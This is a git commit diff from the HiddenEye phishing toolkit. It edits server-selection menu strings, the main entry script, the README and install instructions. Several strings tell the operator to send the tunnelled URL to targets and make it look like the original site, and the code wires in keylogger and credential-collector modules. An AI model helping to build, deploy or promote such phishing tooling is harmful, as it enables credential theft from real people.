"select_any_available_server" : _('\n {0}[{1}*{0}]{0}Select Any Available Server:{1}').format(default_palette[0], default_palette[4]),
|
||||
"servers_list" :
|
||||
[ ['{0}[{1}00{0}]{1}Localhost', '{0}[{1}04{0}]{1}Localtunnel (not working now)'],
|
||||
['{0}[{1}01{0}]{1}Ngrok', '{0}[{1}05{0}]{1}OpenPort (not working now)'],
|
||||
['{0}[{1}02{0}]{1}Serveo', '{0}[{1}06{0}]{1}Pagekite (not working now)'],
|
||||
['{0}[{1}03{0}]{1}Localxpose (not working now)']]
|
||||
}
|
|
@ -10,6 +10,16 @@ from Defs.LocalizationManager.localization import _
|
|||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
lang_server_selection = {
|
||||
"server_selection" : _('{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||
"select_any_available_server" : _('\n {0}[{1}*{0}]{0}Select Any Available Server:{1}').format(default_palette[0], default_palette[4]),
|
||||
"servers_list" :
|
||||
[ ['{0}[{1}00{0}]{1}Localhost', '{0}[{1}04{0}]{1}Localtunnel (not working now)'],
|
||||
['{0}[{1}01{0}]{1}Ngrok', '{0}[{1}05{0}]{1}OpenPort (not working now)'],
|
||||
['{0}[{1}02{0}]{1}Serveo', '{0}[{1}06{0}]{1}Pagekite (not working now)'],
|
||||
['{0}[{1}03{0}]{1}Localxpose (not working now)']]
|
||||
}
|
||||
|
||||
lang_start_localhost = {
|
||||
"localhost_server" : _('\n{0}[ LOCALHOST SERVER ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||
"your_localhost_is" : _('Your Localhost is '),
|
||||
|
@ -27,7 +37,7 @@ lang_start_ngrok = {
|
|||
|
||||
lang_start_serveo = {
|
||||
"serveo_random_server" : _('\n{0}[ RANDOM SERVEO URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||
"server_custom_server" : _('\n{0}[ CUSTOM SERVEO URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||
"serveo_custom_server" : _('\n{0}[ CUSTOM SERVEO URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||
"send_this_url_suggestion" : _('\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO TARGETS').format(default_palette[0], default_palette[4]),
|
||||
"make_url_simmilar_to_real_suggestion" : _('\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO ORIGINAL.').format(default_palette[0], default_palette[4]),
|
||||
"insert_custom_subdomain" : _('\n{0}Insert a custom subdomain for serveo').format(default_palette[0], default_palette[2]),
|
||||
|
|
|
@ -10,7 +10,6 @@ import Defs.FeatureManager.keylogger as keylogger
|
|||
import Defs.FeatureManager.cloudflare as cloudflare
|
||||
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
|
||||
import Defs.ActionManager.Server.server_runner as server_runner
|
||||
import Defs.ActionManager.Server.server_menu as server_menu
|
||||
import Defs.ActionManager.simple_informant as simple_informant
|
||||
import multiprocessing
|
||||
import sys
|
||||
|
@ -46,7 +45,7 @@ if __name__ == "__main__":
|
|||
|
||||
##############
|
||||
server_runner.start_server(port)
|
||||
server_menu.server_selection(port)
|
||||
server_runner.server_selection(port)
|
||||
|
||||
multiprocessing.Process(target=server_runner.start_server, args=(port,)).start()
|
||||
simple_informant.credentials_collector(port)
|
||||
|
|
10
README.md
10
README.md
|
@ -14,7 +14,7 @@
|
|||
|
||||
<p align="center">
|
||||
<a href="https://github.com/darksecdevelopers"><img title="Open Source Love" src="https://badges.frapsoft.com/os/v2/open-source.png?v=103" ></a>
|
||||
<a href="https://github.com/DarkSecDevelopers/HiddenEye/releases"><img title="GitHub version" src="https://d25lcipzij17d.cloudfront.net/badge.svg?id=gh&type=6&v=0.5.4&x2=0" ></a>
|
||||
<a href="https://github.com/DarkSecDevelopers/HiddenEye/releases"><img title="GitHub version" src="https://d25lcipzij17d.cloudfront.net/badge.svg?id=gh&type=6&v=1.0.0&x2=0" ></a>
|
||||
<a href="https://www.codefactor.io/repository/github/darksecdevelopers/hiddeneye"><img src="https://www.codefactor.io/repository/github/darksecdevelopers/hiddeneye/badge" alt="CodeFactor" /></a>
|
||||
<a href="https://www.codacy.com/manual/DarkSecDevelopers/HiddenEye?utm_source=github.com&utm_medium=referral&utm_content=DarkSecDevelopers/HiddenEye&utm_campaign=Badge_Grade"><img src="https://api.codacy.com/project/badge/Grade/af9fadca3cfc4de19232d0840988e121"/></a>
|
||||
<a href="https://app.fossa.com/projects/git%2Bgithub.com%2FDarkSecDevelopers%2FHiddenEye?ref=badge_shield" alt="FOSSA Status"><img src="https://app.fossa.com/api/projects/git%2Bgithub.com%2FDarkSecDevelopers%2FHiddenEye.svg?type=shield"/></a>
|
||||
|
@ -40,6 +40,7 @@ The use of the HiddenEye & its resources/phishing-pages is **COMPLETE RESPONSIBI
|
|||
5) Micrafast (https://github.com/Micrafast)
|
||||
6) Moltivie (https://github.com/Moltivie)
|
||||
7) endbehavi0r (https://github.com/endbehavi0r)
|
||||
8) DarkMidus (https://github.com/DarkMidus)
|
||||
8) ___________ (WAITING FOR YOU)
|
||||
|
||||
# AVAILABLE TUNNELLING OPTIONS**
|
||||
|
@ -77,9 +78,10 @@ The use of the HiddenEye & its resources/phishing-pages is **COMPLETE RESPONSIBI
|
|||
|
||||
|
||||
### PREREQUISITES ( Please verify if you have installed )
|
||||
* Python 3
|
||||
* Python 3.*
|
||||
* PHP
|
||||
* sudo
|
||||
* pyngrok
|
||||
|
||||
# FOUND A BUG ? / HAVE ANY ISSUE ? :- (Read This)
|
||||
* Check closed & solved issues/bugs before opening new.
|
||||
|
@ -109,7 +111,7 @@ The use of the HiddenEye & its resources/phishing-pages is **COMPLETE RESPONSIBI
|
|||
|
||||
**(B) Termux App**
|
||||
- You Have to Download Termux App. [Click Here](https://play.google.com/store/apps/details?id=com.termux) To Download it.
|
||||
- For Further instruction [Check Instructions](https://github.com/DarkSecDevelopers/HiddenEye/blob/master/instructions.md)
|
||||
- For Further instruction [Check Instructions](https://github.com/DarkSecDevelopers/HiddenEye/wiki/Installation-Instructions)
|
||||
- Termux Users Clone With This Command , Unless Errors may occur during Running.
|
||||
```
|
||||
git clone -b Termux-Support-Branch https://github.com/DarkSecDevelopers/HiddenEye.git
|
||||
|
@ -147,7 +149,7 @@ git clone -b Termux-Support-Branch https://github.com/DarkSecDevelopers/HiddenEy
|
|||
- GDRIVE (By @thewhiteh4t)
|
||||
## [Check This](https://youtu.be/InSdtLhZzk4) Demonstration video to know How (Location) Social-Engineering-Tool Works.
|
||||
|
||||
## FOR FURTHER INSTALLATION PROCEDURE - [(CHECK INSTRUCTIONS)](https://github.com/DarkSecDevelopers/HiddenEye/blob/master/instructions.md)
|
||||
## FOR FURTHER INSTALLATION PROCEDURE - [(CHECK INSTRUCTIONS)](https://github.com/DarkSecDevelopers/HiddenEye/wiki/Installation-Instructions)
|
||||
|
||||
## BACKUP REPOSITORY AVAILABLE AT GITLAB - [(CHECK HERE)](https://gitlab.com/an0nud4y/HiddenEye)
|
||||
</p>
|
||||
|
|
0
Server/CapturedData/.gitkeep
Normal file → Executable file
0
Server/CapturedData/.gitkeep
Normal file → Executable file
|
@ -1 +0,0 @@
|
|||
|
176
instructions.md
176
instructions.md
|
@ -1,176 +0,0 @@
|
|||
## HOW TO INSTALL
|
||||
### BlackArch official repository
|
||||
```
|
||||
sudo pacman -S hidden-eye
|
||||
```
|
||||
to run just use
|
||||
```
|
||||
sudo hidden-eye
|
||||
```
|
||||
### CLONE
|
||||
```
|
||||
git clone https://github.com/DarkSecDevelopers/HiddenEye.git
|
||||
```
|
||||
|
||||
### RUNNING (In Linux)
|
||||
```
|
||||
chmod 777 HiddenEye
|
||||
```
|
||||
|
||||
```
|
||||
sudo apt install python3-pip
|
||||
```
|
||||
|
||||
```
|
||||
cd HiddenEye
|
||||
```
|
||||
|
||||
```
|
||||
sudo pip3 install -r requirements.txt
|
||||
```
|
||||
|
||||
```
|
||||
sudo pip3 install requests
|
||||
```
|
||||
|
||||
```
|
||||
python3 HiddenEye.py
|
||||
|
||||
```
|
||||
OR
|
||||
|
||||
```
|
||||
./HiddenEye.py
|
||||
|
||||
```
|
||||
### RUNNING (Arch Linux or Manjaro)
|
||||
```
|
||||
chmod 777 HiddenEye
|
||||
```
|
||||
|
||||
```
|
||||
sudo pacman -Syu
|
||||
```
|
||||
```
|
||||
sudo pacman -S python-pip
|
||||
```
|
||||
|
||||
```
|
||||
cd HiddenEye
|
||||
```
|
||||
|
||||
```
|
||||
sudo pip3 install -r requirements.txt
|
||||
```
|
||||
|
||||
```
|
||||
sudo python3 HiddenEye.py
|
||||
|
||||
```
|
||||
OR
|
||||
|
||||
```
|
||||
sudo ./HiddenEye.py
|
||||
|
||||
```
|
||||
## FOR ANDROID USERS
|
||||
|
||||
### 1) INSTALLING IN (USERLAND APP)
|
||||
|
||||
```
|
||||
Install userland app from playstore.
|
||||
|
||||
```
|
||||
|
||||
```
|
||||
Set up app and install kali from app.Set ssh username(anyname) and password.
|
||||
|
||||
```
|
||||
|
||||
```
|
||||
When kali will run it'll ask for password type the ssh password.Then do su.After that kali will run on your device wothout root and do apt update For more info read here (https://null-byte.wonderhowto.com/how-to/android-for-hackers-turn-android-phone-into-hacking-device-without-root-0189649/)
|
||||
|
||||
```
|
||||
```
|
||||
sudo apt install python3 python3-pip unzip php git
|
||||
|
||||
```
|
||||
```
|
||||
git clone https://github.com/DarkSecDevelopers/HiddenEye.git
|
||||
|
||||
```
|
||||
|
||||
```
|
||||
chmod 777 HiddenEye
|
||||
```
|
||||
|
||||
```
|
||||
cd HiddenEye
|
||||
|
||||
```
|
||||
|
||||
```
|
||||
pip3 install -r requirements.txt && pip3 install requests
|
||||
|
||||
```
|
||||
|
||||
```
|
||||
python3 HiddenEye.py
|
||||
```
|
||||
|
||||
### 2) INSTALLING IN (TERMUX APP)
|
||||
|
||||
```
|
||||
First install { Termux } from Playstore.
|
||||
|
||||
```
|
||||
|
||||
```
|
||||
After opening Follow below commands One by one
|
||||
|
||||
```
|
||||
|
||||
```
|
||||
pkg install git python php curl openssh grep
|
||||
|
||||
```
|
||||
|
||||
```
|
||||
git clone -b Termux-Support-Branch https://github.com/DarkSecDevelopers/HiddenEye.git
|
||||
```
|
||||
|
||||
```
|
||||
chmod 777 HiddenEye
|
||||
```
|
||||
|
||||
```
|
||||
pip install requests
|
||||
```
|
||||
|
||||
```
|
||||
cd HiddenEye
|
||||
```
|
||||
```
|
||||
python HiddenEye.py
|
||||
|
||||
or
|
||||
|
||||
./HiddenEye.py
|
||||
|
||||
```
|
||||
### ONE LINE COMMAND TO INSTALL IN TERMUX(ANDROID). Just copy/paste this single command and hit Enter .. ALL DONE
|
||||
|
||||
|
||||
```
|
||||
First install { Termux } from Playstore.
|
||||
|
||||
```
|
||||
|
||||
```
|
||||
After opening Copy and run this Single Command.
|
||||
|
||||
```
|
||||
```
|
||||
pkg install git python php curl openssh grep && git clone -b Termux-Support-Branch https://github.com/DarkSecDevelopers/HiddenEye.git && chmod 777 HiddenEye && cd HiddenEye && pip install -r requirements.txt && pip install requests && python HiddenEye.py
|
||||
|
||||
```
|
|
@ -1,2 +1,4 @@
|
|||
requests
|
||||
pyngrok
|
||||
|
||||
requests==2.23.0
|
||||
pyngrok==3.1.1
|
||||
|
||||
|
|
Loading…
Reference in New Issue
Block a user